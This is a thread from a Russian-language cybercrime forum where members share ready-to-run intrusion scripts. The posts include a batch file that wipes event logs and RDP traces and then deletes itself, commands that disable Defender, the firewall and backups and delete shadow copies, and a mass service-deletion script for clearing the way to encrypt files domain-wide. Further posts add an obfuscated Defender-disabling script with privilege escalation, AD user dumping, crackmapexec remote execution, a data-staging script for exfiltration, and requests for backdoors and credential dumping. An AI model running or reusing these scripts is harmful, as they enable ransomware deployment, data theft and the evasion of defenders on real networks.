• XSS.stack #1 – первый литературный журнал от юзеров форума

Автоматизация работы в сети (список полезных скриптов)

nibmcmb

RAID-массив
Забанен
Регистрация
18.08.2020
Сообщения
53
Реакции
169
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Не нашел подобной темы, поэтому решил создать сам.
Предлагаю здесь начать делиться своими\чужими скриптами для автоматизации работы в сети.
Подойдёт все, что хоть как-то облегчает монотонную работу в сети.
Я начну.

Запускайте после того, как закончили работу на сервере и нужно потереть за собой следы. По дефолут таймер выставлен в 60 секунд и после отработки - удаляет сам себя.
Запускайте от Админа!
Bash:
@echo off
timeout /T 60
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
echo clearing %1
wevtutil.exe cl %1

goto :eof
:noAdmin
echo You must run this script as an Administrator!
echo.
:theEnd
rd /s /q %systemdrive%\$RECYCLE.BIN
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
del %0

Bash:
off REM

powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
powershell.exe -command "Set-MpPreference -PUAProtection disable"
powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
powershell.exe -command "Set-MpPreference -MAPSReporting 0"
powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
powershell.exe -command "netsh advfirewall set allprofiles state off"
powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat""
powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
del %0

Bash:
wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
wbadmin DELETE BACKUP -keepVersions:0
wmic SHADOWCOPY DELETE
vssadmin Delete Shadows /All /Quiet
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin list shadows
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Очень полезный батник для того, чтобы убить ВСЕ лишние процессы, которые могут помешать в *кхм*кхм* "удалению" файла. К примеру, если он открыт в какой-то программе, условно бд sql.
Ее вы просто так не удалите, ибо она где-то там открыта. Для этого нужно найти этот процесс, убить его. Это все нудно, долго, а в нашей работе главное - это время, ибо все нужно сделать быстро, красиво и тихо.
Поэтому вот вам батник, который убьет ВСЕ лишние процессы, чтоб не мешать вам "удалять" файлы на сервере.
Это особенно хорошо работает с PsExec, ибо раскинув этот батник по всему домену, вы без пробелм через шары можете "удалить" все файлы и не боясь за то, что какие-то бэкапы, базы sql будут не "удалены" =)

Bash:
@echo off
rem Delite Service "Hyper-V"
sc delete "vmickvpexchange"
sc delete "vmicguestinterface"
sc delete "vmicshutdown"
sc delete "vmicheartbeat"
sc delete "vmicrdv"
sc delete "storflt"
sc delete "vmictimesync"
sc delete "vmicvss"
sc delete "hvdsvc"
sc delete "nvspwmi"
sc delete "wmms"

rem Delite Service "AVG"
sc delete "AvgAdminServer"
sc delete "AVG Antivirus"
sc delete "avgAdminClient"

rem Delite Service "Sofos"
sc delete "SAVService"
sc delete "SAVAdminService"
sc delete "Sophos AutoUpdate Service"
sc delete "Sophos Clean Service"
sc delete "Sophos Device Control Service"
sc delete "Sophos Endpoint Defense Service"
sc delete "Sophos File Scanner Service"
sc delete "Sophos Health Service"
sc delete "Sophos MCS Agent"
sc delete "Sophos MCS Client"
sc delete "SntpService"
sc delete "swc_service"
sc delete "swi_service"
sc delete "Sophos UI"
sc delete "swi_update"
sc delete "Sophos Web Control Service"
sc delete "Sophos System Protection Service"
sc delete "Sophos Safestore Service"
sc delete "hmpalertsvc"
sc delete "RpcEptMapper"
sc delete "Sophos Endpoint Defense Service"
sc delete "SophosFIM"
sc delete "swi_filter"

rem Delite Service "Fire_Bird"
sc delete "FirebirdGuardianDefaultInstance"
sc delete "FirebirdServerDefaultInstance"

rem Delite Service "SQL"
sc delete "MSSQLFDLauncher"
sc delete "MSSQLSERVER"
sc delete "SQLSERVERAGENT"
sc delete "SQLBrowser"
sc delete "SQLTELEMETRY"
sc delete "MsDtsServer130"
sc delete "SSISTELEMETRY130"
sc delete "SQLWriter"
sc delete "MSSQL$VEEAMSQL2012"
sc delete "SQLAgent$VEEAMSQL2012"
sc delete "MSSQL"
sc delete "SQLAgent"
sc delete "MSSQLServerADHelper100"
sc delete "MSSQLServerOLAPService"
sc delete "MsDtsServer100"
sc delete "ReportServer"
sc delete "SQLTELEMETRY$HL"
sc delete "TMBMServer"
sc delete "MSSQL$PROGID"
sc delete "MSSQL$WOLTERSKLUWER"
sc delete "SQLAgent$PROGID"
sc delete "SQLAgent$WOLTERSKLUWER"
sc delete "MSSQLFDLauncher$OPTIMA"
sc delete "MSSQL$OPTIMA"
sc delete "SQLAgent$OPTIMA"
sc delete "ReportServer$OPTIMA"
sc delete "msftesql$SQLEXPRESS"
sc delete "postgresql-x64-9.4"


rem Delite Service "AV: Webroot"
sc delete "WRSVC"

rem Delite Service "AV: ESET"
sc delete "ekrn"
sc delete "ekrnEpsw"

rem Delite Service "AV: Kaspersky"
sc delete "klim6"
sc delete "AVP18.0.0"
sc delete "KLIF"
sc delete "klpd"
sc delete "klflt"
sc delete "klbackupdisk"
sc delete "klbackupflt"
sc delete "klkbdflt"
sc delete "klmouflt"
sc delete "klhk"
sc delete "KSDE1.0.0"
sc delete "kltap"

rem Delite Service "AV: Quick Heal"
sc delete "ScSecSvc"
sc delete "Core Mail Protection"
sc delete "Core Scanning Server"
sc delete "Core Scanning ServerEx"
sc delete "Online Protection System"
sc delete "RepairService"
sc delete "Core Browsing Protection"
sc delete "Quick Update Service"

rem Delite Service "AV: McAfee"
sc delete "McAfeeFramework"
sc delete "macmnsvc"
sc delete "masvc"
sc delete "mfemms"
sc delete "mfevtp"

rem Delite Service "AV: Trend Micro"
sc delete "TmFilter"
sc delete "TMLWCSService"
sc delete "tmusa"
sc delete "TmPreFilter"
sc delete "TMSmartRelayService"
sc delete "TMiCRCScanService"
sc delete "VSApiNt"
sc delete "TmCCSF"
sc delete "tmlisten"
sc delete "TmProxy"
sc delete "ntrtscan"
sc delete "ofcservice"
sc delete "TmPfw"
sc delete "PccNTUpd"

rem Delite Service "AV: Panda"
sc delete "PandaAetherAgent"
sc delete "PSUAService"
sc delete "NanoServiceMain"

rem Delite Service "AV: Panda"
sc delete "EPIntegrationService"
sc delete "EPProtectedService"
sc delete "EPRedline"
sc delete "EPSecurityService"
sc delete "EPUpdateService"

rem Kill
sc delete "UniFi"

rem Kill "AV: Trend Micro"
taskkill -f -im PccNTMon.exe
taskkill -f -im NTRtScan.exe
taskkill -f -im TmListen.exe
taskkill -f -im TmCCSF.exe
taskkill -f -im TmProxy.exe
taskkill -f -im TMBMSRV.exe
taskkill -f -im TMBMSRV.exe
taskkill -f -im TmPfw.exe
taskkill -f -im CNTAoSMgr.exe


rem Kill "SQL"
taskkill -f -im sqlbrowser.exe
taskkill -f -im sqlwriter.exe
taskkill -f -im sqlservr.exe
taskkill -f -im msmdsrv.exe
taskkill -f -im MsDtsSrvr.exe
taskkill -f -im sqlceip.exe
taskkill -f -im fdlauncher.exe
taskkill -f -im Ssms.exe
taskkill -f -im SQLAGENT.EXE
taskkill -f -im fdhost.exe
taskkill -f -im fdlauncher.exe
taskkill -f -im sqlservr.exe
taskkill -f -im ReportingServicesService.exe
taskkill -f -im msftesql.exe
taskkill -f -im pg_ctl.exe
taskkill -f -im postgres.exe

net stop MSSQLServerADHelper100
net stop MSSQL$ISARS
net stop MSSQL$MSFW
net stop SQLAgent$ISARS
net stop SQLAgent$MSFW
net stop SQLBrowser
net stop ReportServer$ISARS
net stop SQLWriter
net stop WinDefend
net stop mr2kserv
net stop MSExchangeADTopology
net stop MSExchangeFBA
net stop MSExchangeIS
net stop MSExchangeSA
net stop ShadowProtectSvc
net stop SPAdminV4
net stop SPTimerV4
net stop SPTraceV4
net stop SPUserCodeV4
net stop SPWriterV4
net stop SPSearch4
net stop MSSQLServerADHelper100
net stop IISADMIN
net stop firebirdguardiandefaultinstance
net stop ibmiasrw
net stop QBCFMonitorService
net stop QBVSS
net stop QBPOSDBServiceV12
net stop "IBM Domino Server (CProgramFilesIBMDominodata)"
net stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"
net stop IISADMIN
net stop "Simply Accounting Database Connection Manager"
net stop QuickBooksDB1
net stop QuickBooksDB2
net stop QuickBooksDB3
net stop QuickBooksDB4
net stop QuickBooksDB5


rem Kill
taskkill -f -im UniFi.exe


Echo TIME TO FIND AV

tasklist /fi "imagename eq MsMpEng.exe" | find /c "PID" && Echo Windows Defender
tasklist /fi "imagename eq ntrtscan.exe" | find /c "PID" && Echo Trend Micro Security
tasklist /fi "imagename eq avp.exe" | find /c "PID" && Echo Kaspersky Endpoint Security
tasklist /fi "imagename eq WRSA.exe" | find /c "PID" && Echo Webroot
tasklist /fi "imagename eq egui.exe" | find /c "PID" && Echo ESET
tasklist /fi "imagename eq AvastUI.exe" | find /c "PID" && Echo Avast


TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Получить список юзеров (контакты). Работает только на DC (нужен доступ к актив директори)
Bash:
Get-ADUser -Filter {Enabled -eq "True"} -properties *| Select-Object DisplayName,HomePhone,Mobile,UserPrincipalName,streetaddress > contacts.txt

Чтоб спарсить все:
Bash:
 Get-ADUser -filter * > contacts.txt
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован

@(echo off% <#%) &title Toggle Defender, AveYo 2021-08-03
set "0=%~f0"&set 1=%*&powershell -nop -win 1 -c iex ([io.file]::ReadAllText($env:0)) &exit/b ||#>)[1]
## Changelog: also toggle store, chredge smartscreen + pua; prevent ui lockdown(2); unblock.exe in chredge
sp 'HKCU:\Volatile Environment' 'ToggleDefender' @'
if ($(sc.exe qc windefend) -like '*TOGGLE*') {$TOGGLE=7;$KEEP=6;$A='Enable';$S='OFF'}else{$TOGGLE=6; $KEEP=7;$A='Disable';$S='ON'}

## Comment to hide dialog prompt with Yes, No, Cancel (6,7,2)
if ($env:1 -ne 6 -and $env:1 -ne 7) {
$choice=(new-object -ComObject Wscript.Shell).Popup($A + ' Windows Defender?', 0, 'Defender is: ' + $S, 51)
if ($choice -eq 2) {break} elseif ($choice -eq 6) {$env:1=$TOGGLE} else {$env:1=$KEEP}
}

## Without the dialog prompt above will toggle automatically
if ($env:1 -ne 6 -and $env:1 -ne 7) { $env:1=$TOGGLE }

## Comment to not relaunch systray icon
$L="$env:ProgramFiles\Windows Defender\MSASCuiL.exe"; if (!(test-path $L)) {$L='SecurityHealthSystray'} ; start $L -win 1

## Comment to not hide per-user toggle notifications
$notif='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance'
ni $notif -ea 0|out-null; ri $notif.replace('Settings','Current') -Recurse -Force -ea 0
sp $notif Enabled 0 -Type Dword -Force -ea 0; if ($TOGGLE -eq 7) {rp $notif Enabled -Force -ea 0}

## Cascade elevation
$u=0;$w=whoami /groups;if($w-like'*1-5-32-544*'){$u=1};if($w-like'*1-16-12288 *'){$u=2};if($w-like'*1-16-16384*'){$u=3}

## Reload from volatile registry as needed
$script='-nop -win 1 -c & {$AveYo='+"'`r`r"+' A LIMITED ACCOUNT PROTECTS YOU FROM UAC EXPLOITS '+"`r`r'"+';$env: 1='+$env:1
$script+=';$k=@();$k+=gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0;iex($k[0].ToggleDefender)}'
$cmd='powershell '+$script; $env:__COMPAT_LAYER='Installer'

## 0: limited-user: must runas / 1: admin-user non-elevated: must runas [built-in lame uac bpass removed]
if ($u -lt 2) {
start powershell -args $script -verb runas -win 1; break
}

## 2: admin-user elevated: get ti/system via runasti lean and mean snippet [$window hide:0x0E080600 show:0x0E080610]
if ($u -eq 2) {
$A=[AppDomain]::CurrentDomain."DefineDynamicAss`embly"(1,1)."DefineDynamicMod`ule"(1);$D=@();0..5|%{$D+=$A. "DefineT`ype"('A'+$_,
1179913,[ValueType])} ;4,5|%{$D+=$D[$_]."MakeB`yRefType"()} ;$I=[Int32];$J="Int`Ptr";$ P=$I.module.GetType("System.$J"); $F=@(0)
$F+=($P,$I,$P),($I,$I,$I,$I,$P,$D[1]),($I,$P,$P,$P, $I,$I,$I,$I,$I,$I,$I,$I,[Int16],[Int16],$P,$P,$P,$P),($D[3 ],$P),($P,$P,$I,$I)
$S=[String]; $9=$D[0]."DefinePInvokeMeth`od"('CreateProcess',"kernel`32",8214,1,$I,@($S,$S,$I,$I,$I,$I ,$I,$S,$D[6],$D[7]),1,4)
1..5|%{$k=$_;$n=1;$F[$_]|%{$9=$D[$k]."DefineFie`ld"('f'+$n++,$ _,6)}};$T=@();0..5|%{$T+=$D[$_]."CreateT`ype"();$Z=[uintptr]::size
nv ('T'+$_)([Activator]::CreateInstance($T[$_]))}; $H=$I.module.GetType("System.Runtime.Interop`Services.Mar`shal");
$WP=$H."GetMeth`od"("Write$J",[type[]]($J,$J)); $HG=$H."GetMeth`od"("AllocHG`lobal",[type[]]'int32'); $v=$HG.invoke($null,$Z)
'TrustedInstaller','lsass'|%{if(!$pn){net1 start $_ 2>&1 >$null;$pn=[Diagnostics.Process]::GetProcessesByName($_)[0];}}
$WP.invoke($null,@($v,$pn.Handle)); $SZ=$H."GetMeth`od"("SizeOf",[type[]]'type'); $T1.f1=131072; $T1.f2=$Z; $T1.f3=$v; $T2.f1=1
$T2.f2=1;$T2.f3=1;$T2.f4=1;$T2.f6=$T1;$T3.f1=$SZ.invoke($null,$T[4]);$ T4.f1=$T3;$T4.f2=$HG.invoke($null,$SZ.invoke($null,$T[2]))
$H."GetMeth`od"("StructureTo`Ptr",[type[]]($D[2],$J,'boolean')).invoke($null,@(($T2-as $D [2]),$T4.f2,$false));$window=0x0E080600
$9=$T[0]."GetMeth`od"('CreateProcess').Invoke($null,@($null,$cmd,0,0,0,$window,0,$null,($T4- as $D[4]),($T5-as $D[5]))); break
}

##Cleanup
rp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0

## Create registry paths
$wdp='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender'
' Security Center\Notifications','\UX Configuration','\MpEngine','\Spynet','\Real-Time Protection' |% {ni ($wdp+$_)-ea 0|out-null}

## Toggle Defender
if ($env:1 -eq 7) {
## enable notifications
rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications' DisableNotifications -Force -ea 0
rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration' Notification_Suppress -Force -ea 0
rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration' UILockdown -Force -ea 0
rp 'HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications' DisableNotifications -Force -ea 0
rp 'HKLM:\SOFTWARE\Microsoft\Windows Defender\UX Configuration' Notification_Suppress -Force -ea 0
rp 'HKLM:\SOFTWARE\Microsoft\Windows Defender\UX Configuration' UILockdown -Force -ea 0
## enable shell smartscreen and set to warn
rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\System' EnableSmartScreen -Force -ea 0
sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\System' ShellSmartScreenLevel 'Warn' -Force -ea 0
## enable store smartscreen and set to warn
gp Registry::HKEY_Users\S-1-5-21*\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost -ea 0 |% {
sp $_.PSPath 'EnableWebContentEvaluation' 1 -Type Dword -Force -ea 0
sp $_.PSPath 'PreventOverride' 0 -Type Dword -Force -ea 0
}
## enable chredge smartscreen + pua
gp Registry::HKEY_Users\S-1-5-21*\SOFTWARE\Microsoft\Edge\SmartScreenEnabled -ea 0 |% {
sp $_.PSPath '(Default)' 1 -Type Dword -Force -ea 0
}
gp Registry::HKEY_Users\S-1-5-21*\SOFTWARE\Microsoft\Edge\SmartScreenPuaEnabled -ea 0 |% {
sp $_.PSPath '(Default)' 1 -Type Dword -Force -ea 0
}
## enable legacy edge smartscreen
ri 'HKLM:\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter' -Force -ea 0
## enable av
rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' DisableRealtimeMonitoring -Force -ea 0
rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' DisableAntiSpyware -Force -ea 0
rp 'HKLM:\SOFTWARE\Microsoft\Windows Defender' DisableAntiSpyware -Force -ea 0
sc.exe config windefend depend= RpcSs
net1 start winddefend
kill -Force -Name MpCmdRun -ea 0
start ($env:ProgramFiles+'\Windows Defender\MpCmdRun.exe') -Arg '-EnableService' -win 1
} else {
## disable notifications
sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications' DisableNotifications 1 -Type Dword -ea 0
sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration' Notification_Suppress 1 -Type Dword -Force -ea 0
sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration' UILockdown 0 -Type Dword -Force -ea 0
sp 'HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications' DisableNotifications 1 -Type Dword -ea 0
sp 'HKLM:\SOFTWARE\Microsoft\Windows Defender\UX Configuration' Notification_Suppress 1 -Type Dword -Force -ea 0
sp 'HKLM:\SOFTWARE\Microsoft\Windows Defender\UX Configuration' UILockdown 0 -Type Dword -Force -ea 0
## disable shell smartscreen and set to warn
sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\System' EnableSmartScreen 0 -Type Dword -Force -ea 0
sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\System' ShellSmartScreenLevel 'Warn' -Force -ea 0
## disable store smartscreen and set to warn
gp Registry::HKEY_Users\S-1-5-21*\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost -ea 0 |% {
sp $_.PSPath 'EnableWebContentEvaluation' 0 -Type Dword -Force -ea 0
sp $_.PSPath 'PreventOverride' 0 -Type Dword -Force -ea 0
}
## disable chredge smartscreen + pua
gp Registry::HKEY_Users\S-1-5-21*\SOFTWARE\Microsoft\Edge\SmartScreenEnabled -ea 0 |% {
sp $_.PSPath '(Default)' 0 -Type Dword -Force -ea 0
}
gp Registry::HKEY_Users\S-1-5-21*\SOFTWARE\Microsoft\Edge\SmartScreenPuaEnabled -ea 0 |% {
sp $_.PSPath '(Default)' 0 -Type Dword -Force -ea 0
}
## disable legacy edge smartscreen
sp 'HKLM:\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter' EnabledV9 0 -Type Dword -Force -ea 0
## disable av
sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' DisableRealtimeMonitoring 1 -Type Dword -Force
sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' DisableAntiSpyware 1 -Type Dword -Force -ea 0
sp 'HKLM:\SOFTWARE\Microsoft\Windows Defender' DisableAntiSpyware 1 -Type Dword -Force -ea 0
net1 stop windefend
sc.exe config windefend depend= RpcSs-TOGGLE
kill -Name MpCmdRun -Force -ea 0
start ($env:ProgramFiles+'\Windows Defender\MpCmdRun.exe') -Arg '-DisableService' -win 1
del ($env:ProgramData+'\Microsoft\Windows Defender\Scans\mpenginedb.db') -Force -ea 0 ## Commented = keep scan history
del ($env:ProgramData+'\Microsoft\Windows Defender\Scans\History\Service') -Recurse -Force -ea 0
}

## PERSONAL CONFIGURATION TWEAK - COMMENT OR UNCOMMENT #rp ENTRIES TO TWEAK OR REVERT
#sp $wdp DisableRoutinelyTakingAction 1 -Type Dword -Force -ea 0 ## Auto Actions off
rp $wdp DisableRoutinelyTakingAction -Force -ea 0 ## Auto Actions ON [default]

sp ($wdp+'\MpEngine') MpCloudBlockLevel 2 -Type Dword -Force -ea 0 ## Cloud blocking level HIGH
#rp ($wdp+'\MpEngine') MpCloudBlockLevel -Force -ea 0 ## Cloud blocking level low [default]

sp ($wdp+'\Spynet') SpyNetReporting 2 -Type Dword -Force -ea 0 ## Cloud protection ADVANCED
#rp ($wdp+'\Spynet') SpyNetReporting -Force -ea 0 ## Cloud protection basic [default]

sp ($wdp+'\Spynet') SubmitSamplesConsent 0 -Type Dword -Force -ea 0 ## Sample Submission ALWAYS-PROMPT
#rp ($wdp+'\Spynet') SubmitSamplesConsent -Force -ea 0 ## Sample Submission automatic [default]

#sp ($wdp+'\Real-Time Protection') RealtimeScanDirection 1 -Type Dword -Force -ea 0 ## Scan incoming file only
rp ($wdp+'\Real-Time Protection') RealtimeScanDirection -Force -ea 0 ## Scan INCOMING + OUTGOING file [default]

#sp $wdp PUAProtection 1 -Type Dword -Force -ea 0 ## Potential Unwanted Apps on [policy]
rp $wdp PUAProtection -Force -ea 0 ## Potential Unwanted Apps off [default]
sp 'HKLM:\SOFTWARE\Microsoft\Windows Defender' PUAProtection 1 -Type Dword -Force -ea 0 ## Potential Unwanted Apps ON [user]
#rp 'HKLM:\SOFTWARE\Microsoft\Windows Defender' PUAProtection -Force -ea 0 ## Potential Unwanted Apps off [default]

## even with "smartscreen" off you still need to unblock exe to download Firefox (sic) & other programs [F][F] microsoft!
$LameEdgeExtBlockWithSmartScreenOff='HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExemptDomainFileTypePairsFromFileTypeDownloadWarnings'
ni $LameEdgeExtBlockWithSmartScreenOff -Force -ea 0|out-null ## add other extensions following the example below (increment 1)
sp $LameEdgeExtBlockWithSmartScreenOff '1' '{"file_extension": "exe", "domains": ["*"]}' -Force -ea 0

#done!
'@ -Force -ea 0; $k=@();$k+=gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0;iex($k[0].ToggleDefender)
#-_-# hybrid script, can be pasted directly into powershell console
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пишу сюда за помощью, а именно:
Нужена команда повершелл для загрузки и запуска файла.
Либо-же расскажите, как локально через crackmapexec раскидать и запустить батник.
Спасибо!
ну если я правильно понимаю для чего это, то не пробовал запускать через гпо?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ну если я правильно понимаю для чего это, то не пробовал запускать через гпо?
уже нашел решение.
#~ cme smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.bat \\Windows\\Temp\\whoami.bat
а после
-x whoami.bat
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ладно, если уж аппнул я тему, то продолжу полезные скрипты сюда выкладывать.
Ниже кусок моего скрипта, который писался для упрощения работы в сети, а именно это кусок кода будет собирать все данные форматов: pdf, doc, docx, xls, xlsx, txt (по желанию сможете вписать свой формат)
Работает он следующим образом:
(для работы нужено установить winrar по следующему пути: C:\Program Files\WinRAR\WinRAR.exe)
Вы внутри сетки просканировали все мячиком и сохраняете результат (желательно когда уже ДА получен. То есть в мячике должны быть все диски доступны, дабы скрипт смог собрать дату с всего домена.
Далее запускаете скрипт на питоне. После этого он создаст вам скрипт на повершелле, где будут указаны все диски в домене (НЕ РАБОТАЕТ С НАСАМИ, ГДЕ НЕТ ДИСКОВ, А ТОЛЬКО ПАПКИ ПО ТИПУ "DATA"), в этом случае редачим скрипт на пш и добавляем нужные папки насов, чтоб и оттуда тоже дату выгрузить.
После запускаем сам повершелл скрипт. Далее начнут создаваться zip архивы с датой со всех дисков. на каждый диск свой архив. в 1 архиве будет по 1гб даты.

Python:
# -*- coding: utf-8 -*-
import re
import os
import sys

def data():
    for path, dir, files in os.walk(os.getcwd()):
        pathname = os.path.dirname(sys.argv[0])     
        for file in files:
            if file.endswith(".xml"):
                with open(os.path.join(path, file), "r", encoding="utf-8", errors="ignore") as txt:
                    stroka = txt.read().replace("\n", "")
                    if ("<ip-address>" in stroka) == False:
                        continue

                    blocks = re.findall(r"<ip-address>[0-9.]+</ip-address>      <folders>.*?<\/folders>", stroka)
                    if (len(blocks) == 0):
                        continue

                    for block in blocks:
                        ip = block.split("</ip-address>")[0].split(">")[1]
                        # print(ip)
                        # print(block)
                        disks = re.findall(r"name>[A-Z]\$", block)
                        if len(disks) == 0:
                            continue
                        output = ip + " "
                        for disk in disks:
                            output += disk.split(">")[1] + "|"
                            #print(disk)
                            if disk not in "name>C$":
                                with open("data.ps1", 'a') as run:
                                    run.write("$filesDir1 = " + f"\"" + "\\\\" + ip +"\\" + disk[5] + "$" + f"\"" + "\n" + "$rarDir = " + f"\"" +
                                    os.path.abspath(pathname) + f"\"" + "\n" + "$archiveName =  Join-Path $rarDir (Get-Random -max 9999999999 -min 999999999)" + "\n" +
                                    "& " + f"\"" + "C:\\Program Files\\WinRAR\\WinRAR.exe" + f"\"" +
                                    " a -r -ep1 -v1g -n*pdf -n*doc -n*docx -n*xls -n*xlsx -n*txt -ta20100101000000 -tb20230101000000 -sl200000000 -ed " +
                                    f"\"" + "$archiveName" + f"\" " + f"\"" + "$filesDir1\\*" + f"\"" + "\n\n\n")
                                    #ip + " " + disk + "\n"
                    print("[+] Ps script for data done...")
(перед запуском скрипта, сохраненный результат мячика должен лежать рядом (в одной папке) с скриптом питона)

Если возникнет спрос на подобного рода скрипты - могу выложить всю мою тулзу, которую писал под себя для работы в сетях. Там много всего полезного =)
Так-же если у вас есть идеи по упрощению работы в сетках, или-же у вас есть идея, что можно автоматизировать - пишите в тему, я буду рад исполнить вашу задумку, при условии, что я выложу итог в этот тред.
 
Вырезает под корень WinDef
Привет, если есть возможность - перезалей. А то у этого фо ошибка.

Для работы с facebook есть у кого-то какие-то скрипты?
Тебе нужен другой топик.
 
hi guys

is there a script that auto clean routes on windows?
To clear all routes, use:
route -f

To clear only persistent routes, you could use
reg delete HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes /va /f
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Привет, если есть возможность - перезалей. А то у этого фо ошибка.


Тебе нужен другой топик.
 

Вложения

  • WinDefGpo_Reg.ps1.zip
    4.1 КБ · Просмотры: 176
Так-же если у вас есть идеи по упрощению работы в сетках, или-же у вас есть идея, что можно автоматизировать - пишите в тему, я буду рад исполнить вашу задумку, при условии, что я выложу итог в этот тред.
Отличное предложение, отличная ветка! взял один батник для себя) Идей что можно автоматизировать полно. Раз уж я взялся писать это сообщение, напишу всё чего лично мне не хватает в работе.

1) бекдор на который можно повесить пароль, чтобы можно было спокойно работать и через несколько дней.
2) батник для мимказа и прокдампа, который сохранит результаты в файл
3) скрипт, который сгенерирует из файла мимиказа и найденных на сервере вручную пар логин пароль файл для перебора
4) скрипт, который по найденным парам логин пароль (+/-домен) попробует подключиться по rdp, http, explorer, psexec
5) скрипт, который по найденным хешам c мимиказа попробует создать учётку через Invoke-TheHash

Для начала и если коротко, то это пока всё) Если хоть что-то из этого сделать это уже супер ускорит работу)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх